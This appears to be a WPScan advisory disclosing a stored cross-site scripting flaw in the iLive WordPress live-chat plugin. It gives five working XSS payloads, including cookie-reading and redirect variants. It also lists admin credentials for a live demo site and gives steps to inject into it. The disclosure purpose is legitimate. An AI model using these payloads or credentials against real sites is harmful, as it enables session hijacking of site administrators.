iLive <= 1.0.4 - Stored Cross-Site Scripting (XSS)



Description
Info:
Weak security measures like bad textarea data filtering has been discovered in the «iLive - Intelligent WordPress Live Chat Support Plugin». Current version of this premium WordPress plugin is 1.0.4.

Demo Website:
https://codecanyon.net/item/ilive-wordpress-live-chat-support-plugin/20496563
Frontend: http://www.ilive.wpapplab.com/
Backend: http://www.ilive.wpapplab.com/wp-admin/
Login / Password (operator1): operator1 / Operator_1
Login / Password (operator2): operator2 / Operator_2
Login / Password (operator3): operator3 / Operator_3

Edit (WPScanTeam):
June 25th - Sent to Envato & they replied that they are investigating the issue.
No news since then (and plugin has not been updated since 2017).
Proof of Concept
Go to the demo website http://www.ilive.wpapplab.com/ and open chat window by clicking on «Chat» icon on the bottom right corner. Use your payload inside input field and press [Enter]. Provided example payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website.

To check your XSS Injections log in http://www.ilive.wpapplab.com/wp-admin/ with provided credentials (operator1 / Operator_1, operator2 / Operator_2, operator3 / Operator_3) and go to this page http://www.ilive.wpapplab.com/wp-admin/admin.php?page=ilive-chat-page then select your chat alias from the list. Keep in mind that there is 3 demo operators, so you must log in as operator assigned to your chat (operator number will be available after you send the first message in chat).

Example #1: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(`m0ze`);>
Example #2: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(document.cookie);>
Example #3: <img src=x onerror=window.location.replace('https://m0ze.ru/');>
Example #4: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">
Example #5: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">

Affects Plugin

References

EXPLOITDB 47036
URL https://codecanyon.net/item/ilive-wordpress-live-chat-support-plugin/20496563

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Original Researcher m0ze
Submitter m0ze
Submitter Twitter m0ze_ru
Views 2536
Verified No
WPVDB ID 9444

Timeline

Publicly Published 2019-06-25 (3 months ago)
Added 2019-07-09 (2 months ago)
Last Updated 2019-07-14 (2 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin